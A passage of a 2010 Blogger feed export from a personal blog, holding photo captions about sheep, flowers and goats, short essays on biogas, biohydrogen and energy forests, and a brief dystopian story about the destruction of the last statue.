href="http://4.bp.blogspot.com/_uPAPPtCV9Oo/S_2QFJF4_-I/AAAAAAAAASw/nNm163o2w6k/s1600/100_1190.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_uPAPPtCV9Oo/S_2QFJF4_-I/AAAAAAAAASw/nNm163o2w6k/s400/100_1190.jpg" alt="" id="BLOGGER_PHOTO_ID_5475691139966762978" border="0" /&gt;&lt;/a&gt;Sheep eating grass in a field surrounded by electric fencing. Eco-friendly grass cutting?&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7852461536020123384?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7852461536020123384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7852461536020123384' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7852461536020123384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7852461536020123384'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/05/sheep-grazing-in-field.html' title='Sheep grazing in the field'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_uPAPPtCV9Oo/S_2QFJF4_-I/AAAAAAAAASw/nNm163o2w6k/s72-c/100_1190.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-1947990222802202961</id><published>2010-05-28T14:11:00.000-07:00</published><updated>2010-05-28T14:11:00.351-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='flowers'/><title type='text'>Flowers after a rain</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_uPAPPtCV9Oo/S_2O2aMpwQI/AAAAAAAAASo/-5SjsjvtT2M/s1600/100_1179.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_uPAPPtCV9Oo/S_2O2aMpwQI/AAAAAAAAASo/-5SjsjvtT2M/s400/100_1179.jpg" alt="" id="BLOGGER_PHOTO_ID_5475689787348861186" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Yellow and red hues in the flower sprinkled with water droplets after a light drizzle.The Green background adds to the contrast.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-1947990222802202961?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/1947990222802202961/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=1947990222802202961' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1947990222802202961'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1947990222802202961'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/05/flowers-after-rain.html' title='Flowers after a rain'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_uPAPPtCV9Oo/S_2O2aMpwQI/AAAAAAAAASo/-5SjsjvtT2M/s72-c/100_1179.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8368624183640413762</id><published>2010-05-27T14:04:00.000-07:00</published><updated>2010-05-27T14:04:00.536-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nature'/><title type='text'>Animal eyes in the dark</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_uPAPPtCV9Oo/S_2NWUwc0DI/AAAAAAAAASg/XUf316UOBfA/s1600/100_1197.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_uPAPPtCV9Oo/S_2NWUwc0DI/AAAAAAAAASg/XUf316UOBfA/s320/100_1197.jpg" alt="" id="BLOGGER_PHOTO_ID_5475688136620953650" border="0" /&gt;&lt;/a&gt;See the glow in the eyes of all the three goats. I always wondered about the glow in the eyes of animals after seeing them in cartoons. Now saw it live through the camera. Rather than the eyes glowing, it seems to be the reflection from the camera flash.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8368624183640413762?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8368624183640413762/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8368624183640413762' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8368624183640413762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8368624183640413762'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/05/animal-eyes-in-dark.html' title='Animal eyes in the dark'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_uPAPPtCV9Oo/S_2NWUwc0DI/AAAAAAAAASg/XUf316UOBfA/s72-c/100_1197.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7409470548410886057</id><published>2010-05-26T00:36:00.001-07:00</published><updated>2010-05-26T00:37:11.831-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='energy'/><title type='text'>Biogas</title><content type='html'>The fossil fuels where formed over millions of years from plant biomass. Rapid use of the fossil fuels is releasing carbon from these fuels in the form of carbon dioxide. Hence, there is a increase in the carbon dioxide concentration in the earths atmosphere. With the growing energy demands and the depleting fossil fuel reserves, we are in need of alternative renewable sources of energy.&lt;br /&gt;&lt;br /&gt;A large-scale transition to renewable energy is not possible in the short term due to the current technology for harnessing the alternative sources not being cost effective. Use of biomass for meeting the needs of the energy has been explored with significant success. Gaseous forms of fuel products from biomass such as biohydrogen and biomethane are considered as good sources due to their portability and efficiency.&lt;br /&gt;&lt;br /&gt;Hydrogen can be produced by the electrolysis or from fossil fuels in either a small or a large scale.Large scale production from fossil fuels has the advantage of being able to capture the carbon dioxide to be utilized for stimulating plant growth or for storage in chemical form such as carbonates or in underground reservoirs.&lt;br /&gt;&lt;br /&gt;Methane production through anaerobic process of digestion of wastewater and residues involves hydrogen as an intermediate product which is rapidly taken up and converted to methane by methane producing micro-organisms. The degradation of organic matter to methane and carbon dioxide in the absence of oxygen by microorganisms is called as Anaerobic microbial digestion. This digestion occurs in several phases involving many microbes. The complex organic compounds are first degraded to simple molecules. In the second phase the molecules are degraded into organic acids and hydrogen. The last step involves organic acids and hydrogen being converted into methane.&lt;br /&gt;&lt;br /&gt;Biophotolysis involves many microalgae and cyanobacteria which are able to split water into hydrogen and oxygen with the aid of absorbed light energy. However, this process is limited by the efficiency of the enzyme involved in the conversion process. The enzyme is inhibited by the oxygen produced in the process of splitting water. Several variants of this process are being developed to separate the hydrogen and oxygen production steps.&lt;br /&gt;&lt;br /&gt;Organic compounds like acetic acid are converted into hydrogen and carbon dioxide with sunlight by bacteria in what is known as photofermentations. However, this process is difficult to scale up as it requires a large surface area to capture the light needed for the driving the process.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7409470548410886057?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7409470548410886057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7409470548410886057' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7409470548410886057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7409470548410886057'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/05/biogas.html' title='Biogas'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-5560526010398305000</id><published>2010-05-26T00:33:00.000-07:00</published><updated>2010-05-26T00:34:48.122-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='energy'/><title type='text'>Photosynthesis, CO2, Biomass from Plants &amp; Algae, Biohydrogen</title><content type='html'>The changing energy need dynamics is going to affect not only the way energy is produced but also how its going to be used. The winning entry for the city of the future competition of History channel predicts a future for San Francisco that has hydrogen fueled hover car networks. The city will have specific structures to collect, store and distribute water and power from various sources. Harvesting the solar energy would be a very effective contributor. Currently energy is produced by processing the biomass into ethanol and biodiesel. However, energy is lost in producing all the other complex compounds that form the part of the complex biomass. Photosynthetic organisms that produce biofuels directly will be more energy efficient than processing the biomass thats produced by plants. This concept of producing a fermentation product called photanol with the input of carbon dioxide, water and solar energy into a synthetically designed organism.&lt;br /&gt;&lt;br /&gt;Being able to produce hydrogen for use as a fuel by splitting water using solar energy is a long term goal to overcome the energy crisis. Various options are being explored to perform the task of splitting. However, using cyano bacteria for photo biological production of hydrogen has been found to be a very promising option. Many micro-organisms can produce hydrogen using enzymes called hydrogenases. This hydrogen production will produce the Biohydrogen  which can be used a fuel for various purposes due to its portability.&lt;br /&gt;&lt;br /&gt;Two different approaches are being pursued to produce biohydrogen. The first approach is the nitrogenase based approach and it involves knocking out the uptake hydrogenase. The second approach is to introduce a foreign hydrogenase. Both the approaches are being tried out by various companies. Different growth conditions and mechanisms are being observed to get the optimal system.&lt;br /&gt;&lt;br /&gt;Interesting developments in using LED technologies as an additional, low-energy artificial supply of light with optimal properties for photosynthesis is being explored. Growing understanding of genetic  engineering, regulation of transcription and translation will improve the design of the organism used to produce the fuel. Other areas such as mass culturing of the microorganism can also lead to significant cost reduction and stability.&lt;br /&gt;&lt;br /&gt;Due to the complex nature of the biological systems, various problems such as auto inhibition of growth in the model organism while producing the new compound. The resistance mechanisms to such inhibition has to be studied and  expressed in the organism to get a higher yield.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-5560526010398305000?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/5560526010398305000/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=5560526010398305000' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5560526010398305000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5560526010398305000'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/05/photosynthesis-co2-biomass-from-plants.html' title='Photosynthesis, CO2, Biomass from Plants &amp; Algae, Biohydrogen'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-3440009701775264449</id><published>2010-05-11T19:28:00.000-07:00</published><updated>2010-05-11T19:29:30.053-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='energy'/><title type='text'>Energy forests, Salix program &amp; breeding</title><content type='html'>The increasing demand for energy and decreasing oil production has made it imperative to find and exploit new forms of energy. Various forms of energy such as hydro power, nuclear power, wind and biomass are being used as alternative sources of energy. Biomass has emerged as a very important form of alternative energy due to its renewable nature, low impact on the environment and cost benefits. Growing energy in the form of forest trees has been found to be a sustainable model for the production of energy. However, strict regulatory policies on the felling and growth rates are required to ensure the balance in the forest cover.&lt;br /&gt;&lt;br /&gt;Deciduous trees of the genus salix are found to grow mostly in moist soils in cold and temperate regions of the Northern hemisphere. Being a perennial crop with a life span of 20 to 25 years, its ideally suited for cultivation with the aim of harvesting for biomass. It requires low input of fertilizers and pesticides for its growth making it easy to cultivate.&lt;br /&gt;&lt;br /&gt;The advantage of growing these energy forests can be further increased by using these tree for phytoremediation. The short rotation crops such as willows offer the double advantage of high biomass yields and removal of hazardous compounds through frequent harvests.The cleaning of polluted sites which contain heavy metals such as cadmium can be helpful in cleaning up various wastes.&lt;br /&gt;&lt;br /&gt;Breeding programs to improve the biomass production, drought and heat tolerance and resistance towards pests are underway. With the aim of growing the plants in southern Europe which has higher temperatures, the heat tolerant strains are being sought. Leaf beetles are the major pests of willows and reduce the biomass by up to 40%. Leaf rust caused by fungi also cause loss of biomass in excess of 40%. As a result of the breeding programs, new strains which increase the biomass production by 60% have been selected for use.&lt;br /&gt;&lt;br /&gt;Genomics based approaches which use the sequences genomes of the trees have been used to find genes associated with specific traits. Molecular markers identified by crossing have been associated with the concerned genes.It has been predicted that successful use of knowledge from genome sequencing projects will require the  successful identification of polymorphisms associated with traits of interest, the frequency of superior alleles in the base breeding population and their phenotypic effect. Hence, just the sequencing of the genomes without proper understanding of the mechanisms involved in the various traits will not be of much use. Efforts to sequence EST's and studies of the expression patterns associated with different environmental conditions are being undertaken to bridge this gap.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-3440009701775264449?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/3440009701775264449/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=3440009701775264449' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3440009701775264449'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3440009701775264449'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/05/energy-forests-salix-program-breeding.html' title='Energy forests, Salix program &amp; breeding'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-893939968108025649</id><published>2010-05-04T11:44:00.000-07:00</published><updated>2010-05-04T11:45:39.126-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='energy'/><title type='text'>Artificial photosynthesis and Synthetic biology</title><content type='html'>Future global energy needs cannot be met by any single source of energy known to us today. Contributions from different energy sources might make it possible to meet the energy needs. Solar energy is converted into biomass which can be used as energy source. However, the production of biomass is a inefficient process. Hence, different approaches to mimic the efficient parts of the system is being attempted.&lt;br /&gt;&lt;br /&gt;Hydrogenase enzyme which catalyzes the formation of hydrogen is coupled to photosystem II to use water for utilizing the solar energy more effectively. Among the different steps involved in photosynthesis, the following are considered to be worth mimicking.&lt;br /&gt;&lt;br /&gt;1.Absorb light and funnel energy&lt;br /&gt;2.Convert energy to charge separated state&lt;br /&gt;3.Couple charge separation to catalysis&lt;br /&gt;4.Higher level of organization&lt;br /&gt;&lt;br /&gt;Different molecules and molecular complexes are being perfected for each of the steps in the hope of increasing the efficiency.&lt;br /&gt;&lt;br /&gt;Synthetic biology is the design and construction of new biological parts, devices and systems for useful purposes. The purpose of making parts and devices is to be able to have standardized components which could be used to build devices. The  registry of standard parts is one such collection of parts such as promoters, ribosome binding sites, protein domains, protein coding sequences,  translational units, terminators etc.&lt;br /&gt;&lt;br /&gt;The standardized parts known as bricks are characterized and ready to use for that specific function. Computer aided design and simulations will play a significant role in this process. Simulating the model of the system can give results which can be used for designing the system. Unpredictable results may occur while using these design principles due to cross talk between the different components. These have to be taken care of and modularized.&lt;br /&gt;&lt;br /&gt;Application areas for synthetic biology are widespread. It could help in fields such as bioenergy, drugs and chemicals, biomaterials, medicine etc. Coordinating the bacteria or yeast  involved in fermentation by engineering the microbes could eliminate the need for monitoring the culture as it will be self regulated. With an increased knowledge of the various cellular processes, it should be possible to engineer entire new cellular systems as per requirement. Such a use of synthetic biology to design a cell from ground up might be made possible by integrative synthetic biology.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-893939968108025649?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/893939968108025649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=893939968108025649' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/893939968108025649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/893939968108025649'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2010/05/artificial-photosynthesis-and-synthetic.html' title='Artificial photosynthesis and Synthetic biology'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-161937962676711793</id><published>2010-05-02T13:27:00.000-07:00</published><updated>2010-05-02T13:50:50.649-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='art'/><title type='text'>The last statue</title><content type='html'>&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;His&lt;/span&gt; hand &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;stopped&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;short&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;of&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;the&lt;/span&gt; lever. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;After&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;having&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;demolished&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;more&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;than&lt;/span&gt; a million &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;statues&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;it&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;seemed&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;weird&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;that&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;he&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;should&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;feel&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;guilt&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;at&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;having&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;destroy&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;this&lt;/span&gt; small &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;statue.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;May&lt;/span&gt; be &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;it&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;was&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;the&lt;/span&gt; burden &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;of&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;knowledge&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;that&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;this&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;was&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;only&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;statue&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;made&lt;/span&gt; by man still  &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;standing.&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;If&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;he&lt;/span&gt; just &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;pushed&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;the&lt;/span&gt; lever, mankind &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;would&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;probably&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;never&lt;/span&gt; make &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;another&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;statue&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;ever.&lt;/span&gt; All &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;knowledge&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;about&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;the&lt;/span&gt; arts &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;had&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_54"&gt;been&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;destroyed&lt;/span&gt; in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;the&lt;/span&gt; revolution. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;It&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_58"&gt;seemed&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"&gt;these&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_60"&gt;stones&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_61"&gt;where&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_62"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_63"&gt;only&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_64"&gt;proof&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_65"&gt;of&lt;/span&gt; a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_66"&gt;saner&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_67"&gt;time.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;"&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_68"&gt;Whats&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_69"&gt;taking&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_70"&gt;you&lt;/span&gt; so &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_71"&gt;long&lt;/span&gt;", &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_72"&gt;the&lt;/span&gt; supervisor &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_73"&gt;was&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_74"&gt;shouting&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_75"&gt;at&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_76"&gt;him&lt;/span&gt; from &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_77"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_78"&gt;ground.&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_79"&gt;If&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_80"&gt;he&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_81"&gt;dint&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_82"&gt;do&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_83"&gt;it&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_84"&gt;somebody&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_85"&gt;else&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_86"&gt;would.&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_87"&gt;At&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_88"&gt;least&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_89"&gt;they&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_90"&gt;could&lt;/span&gt; not &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_91"&gt;erase&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_92"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_93"&gt;statue&lt;/span&gt; from &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_94"&gt;his&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_95"&gt;mind.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_96"&gt;He&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_97"&gt;touched&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_98"&gt;the&lt;/span&gt; lever &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_99"&gt;with&lt;/span&gt; a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_100"&gt;sinking&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_101"&gt;feeling&lt;/span&gt; in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_102"&gt;his&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_103"&gt;heart&lt;/span&gt; and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_104"&gt;aimed&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_105"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_106"&gt;crushing&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_107"&gt;ball&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_108"&gt;at&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_109"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_110"&gt;statue.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-161937962676711793?l=nagarjunv.blogspot.com' alt='' 